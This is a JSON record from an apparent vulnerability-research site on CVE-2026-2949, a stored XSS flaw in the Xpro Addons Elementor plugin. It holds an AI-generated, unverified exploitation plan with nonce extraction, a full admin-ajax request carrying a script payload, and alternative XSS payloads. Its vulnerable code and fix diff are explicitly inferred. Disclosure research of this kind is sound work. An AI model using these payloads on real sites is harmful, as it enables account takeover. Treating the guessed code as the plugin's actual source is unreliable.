[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqqe7Ur4aqujzAv4F0ue-h164hEofJ5ZtISCYTiPtMQM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-2949","xpro-addons-140-widgets-for-elementor-authenticated-contributor-stored-cross-site-scripting-via-icon-box-widget","Xpro Addons — 140+ Widgets for Elementor \u003C= 1.4.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Icon Box Widget","The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Icon Box widget in versions up to, and including, 1.4.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","xpro-elementor-addons",null,"\u003C=1.4.24","1.4.25","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-03 13:35:46","2026-04-04 02:26:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa1192c12-a898-46d9-9eee-6f611e644676?source=api-prod",1,[],"researched",false,3,"This research plan outlines the process for exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Xpro Addons — 140+ Widgets for Elementor** plugin.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Authenticated (Contributor+) Stored Cross-Site Scripting.\n*   **Location:** `widgets\u002Ficon-box\u002Fwidget.php` (inferred) or the rendering component for the Icon Box widget.\n*   **Cause:** The plugin defines an \"Icon Box\" widget for Elementor. The widget settings (such as `title`, `description`, or custom attributes like `title_tag`) are accepted from the user but are not properly sanitized before being stored in the `_elementor_data` post meta. During frontend rendering, these values are echoed without sufficient escaping (e.g., using `esc_html` or `esc_attr`).\n*   **Impact:** A Contributor-level user can embed malicious JavaScript into a page. When an administrator or any other user views that page, the script executes in their browser context, potentially allowing for session hijacking or administrative account takeover.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php` (via Elementor's internal AJAX API).\n*   **Action:** `elementor_ajax`\n*   **Parameters:**\n    *   `actions`: A JSON object containing the `save_builder_data` action.\n    *   `data`: Contains the `status`, `elements` (JSON representation of the widget and payload), and `settings`.\n*   **Authentication:** Authenticated, Contributor-level access or higher (any role capable of using the Elementor editor).\n*   **Preconditions:** The Xpro Addons plugin and Elementor must be active.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** Elementor triggers the `wp_ajax_elementor_ajax` action when a user saves a page.\n2.  **Processing:** The `\\Elementor\\Core\\Common\\Modules\\Ajax\\Module::handle_ajax` method processes the request. It eventually calls `save_builder_data` which updates the `_elementor_data` post meta.\n3.  **Vulnerable Sink (Xpro Addons):** When a page is viewed, Elementor iterates through the elements in `_elementor_data`.\n4.  For the `xpro-icon-box` widget, the `render()` method in the widget class (likely `Xpro_Icon_Box`) is called.\n5.  Inside `render()`, the plugin retrieves settings: `$settings = $this->get_settings_for_display();`.\n6.  The code likely echoes a setting directly:\n    ```php\n    \u002F\u002F Example of vulnerable code pattern\n    echo '\u003C' . $settings['title_tag'] . ' class=\"xpro-icon-box-title\">' . $settings['title'] . '\u003C\u002F' . $settings['title_tag'] . '>';\n    ```\n7.  If `title_tag` or `title` contains a payload and is not passed through `esc_html` or a whitelist check, XSS occurs.\n\n### 4. Nonce Acquisition Strategy\nElementor uses its own nonce for AJAX operations.\n\n1.  **Create a target post:** Use WP-CLI to create a post and set it to use Elementor.\n    `wp post create --post_type=page --post_title=\"Xpro Test\" --post_status=publish --post_content=''`\n    `wp post meta add [ID] _elementor_edit_mode \"builder\"`\n2.  **Navigate to the Editor:** Use `browser_navigate` to `wp-admin\u002Fpost.php?post=[ID]&action=elementor`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the nonce from the `elementorConfig` global object.\n    *   **Variable:** `window.elementorConfig.ajax.nonce`\n4.  **Extract Editor Nonce:** Additionally, the `editorpost` nonce might be needed.\n    *   **Variable:** `window.elementorConfig.nonce`\n\n### 5. Exploitation Strategy\nThe goal is to update the `_elementor_data` meta of a post with a malicious JSON payload representing the Icon Box widget.\n\n**Step-by-Step:**\n1.  **Login:** Authenticate as a Contributor.\n2.  **Create Post:** Create a new page and obtain its ID.\n3.  **Obtain Nonce:** Navigate to the Elementor editor for that ID and extract the `elementorConfig.ajax.nonce`.\n4.  **Inject Payload:** Send an AJAX request to `admin-ajax.php` to save the widget data.\n\n**HTTP Request (Save Data):**\n*   **Method:** POST\n*   **URL:** `wp-admin\u002Fadmin-ajax.php`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=elementor_ajax\n    &_nonce=[NONCE]\n    &actions={\"save_builder_data\":{\"action\":\"save_builder_data\",\"data\":{\"status\":\"publish\",\"elements\":[{\"id\":\"unique_id_1\",\"elType\":\"widget\",\"settings\":{\"title\":\"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\",\"title_tag\":\"div\",\"widgetType\":\"xpro-icon-box\"},\"elements\":[],\"widgetType\":\"xpro-icon-box\"}]}}}\n    &post_id=[POST_ID]\n    ```\n\n*Note: If `title` is escaped but `title_tag` is not, the payload for `title_tag` would be `img src=x onerror=alert(1)`. If the payload is injected into an attribute, use `\">\u003Cscript>alert(1)\u003C\u002Fscript>`.*\n\n### 6. Test Data Setup\n1.  **User:** Create a user with the `contributor` role.\n2.  **Plugin:** Ensure `elementor` and `xpro-elementor-addons` are active.\n3.  **Post:** A page created by the contributor, initialized for Elementor editing.\n\n### 7. Expected Results\n*   The `admin-ajax.php` request should return a `200 OK` with a JSON response indicating `success: true`.\n*   When navigating to the frontend URL of the created page, an alert box showing the document domain should appear.\n\n### 8. Verification Steps\n1.  **Check Meta:** Use WP-CLI to verify the payload is stored in the database:\n    `wp post meta get [POST_ID] _elementor_data`\n2.  **Confirm Execution:** Use the browser tool to navigate to the page and check for the `alert` or the presence of the unescaped script tag in the HTML source:\n    `browser_eval(\"document.body.innerHTML.includes('\u003Cscript>alert')\")`\n\n### 9. Alternative Approaches\nIf the `title` field is properly escaped, target other controls within the Icon Box widget:\n*   **`title_tag`:** Inject `script src=...` if the tag is not whitelisted.\n*   **`link` URL:** Inject `javascript:alert(1)` into the link control.\n*   **`icon` class:** Inject `\">\u003Cimg src=x onerror=alert(1)>` if the icon class attribute is not escaped.\n*   **Description:** The text area for the description often uses different rendering logic than the title.","The Xpro Addons — 140+ Widgets for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the Icon Box widget due to insufficient input sanitization and output escaping on widget settings. Authenticated attackers with contributor-level access can inject malicious JavaScript into pages, which executes when any user visits the compromised page.","\u002F\u002F File: widgets\u002Ficon-box\u002Fwidget.php (inferred rendering logic)\nprotected function render() {\n    $settings = $this->get_settings_for_display();\n    \n    \u002F\u002F Insecure rendering of title_tag and title\n    echo '\u003C' . $settings['title_tag'] . ' class=\"xpro-icon-box-title\">' . $settings['title'] . '\u003C\u002F' . $settings['title_tag'] . '>';\n    \n    \u002F\u002F Insecure rendering of description\n    echo '\u003Cdiv class=\"xpro-icon-box-description\">' . $settings['description'] . '\u003C\u002Fdiv>';\n}","--- a\u002Fwidgets\u002Ficon-box\u002Fwidget.php\n+++ b\u002Fwidgets\u002Ficon-box\u002Fwidget.php\n@@ -1,7 +1,11 @@\n protected function render() {\n     $settings = $this->get_settings_for_display();\n \n-    echo '\u003C' . $settings['title_tag'] . ' class=\"xpro-icon-box-title\">' . $settings['title'] . '\u003C\u002F' . $settings['title_tag'] . '>';\n-    echo '\u003Cdiv class=\"xpro-icon-box-description\">' . $settings['description'] . '\u003C\u002Fdiv>';\n+    $title_tag = Utils::validate_html_tag( $settings['title_tag'] );\n+    \n+    echo '\u003C' . esc_attr( $title_tag ) . ' class=\"xpro-icon-box-title\">';\n+    echo wp_kses_post( $settings['title'] );\n+    echo '\u003C\u002F' . esc_attr( $title_tag ) . '>';\n+\n+    echo '\u003Cdiv class=\"xpro-icon-box-description\">' . wp_kses_post( $settings['description'] ) . '\u003C\u002Fdiv>';\n }","1. Authenticate as a user with Contributor-level access or higher.\n2. Create a new page and open it in the Elementor editor to obtain a valid AJAX nonce and post ID from the `window.elementorConfig` object.\n3. Construct a POST request to `wp-admin\u002Fadmin-ajax.php` using the `elementor_ajax` action.\n4. In the `actions` parameter, include a `save_builder_data` payload specifying the `xpro-icon-box` widget.\n5. Inside the widget settings, inject a malicious payload into the `title` field (e.g., `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`) or the `title_tag` field (e.g., `img src=x onerror=alert(1)`).\n6. Send the request to save the page content.\n7. Navigate to the published page URL to trigger the script execution in the browser.","gemini-3-flash-preview","2026-04-17 21:46:13","2026-04-17 21:46:41",{"type":34,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":35},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fxpro-elementor-addons\u002Ftags"]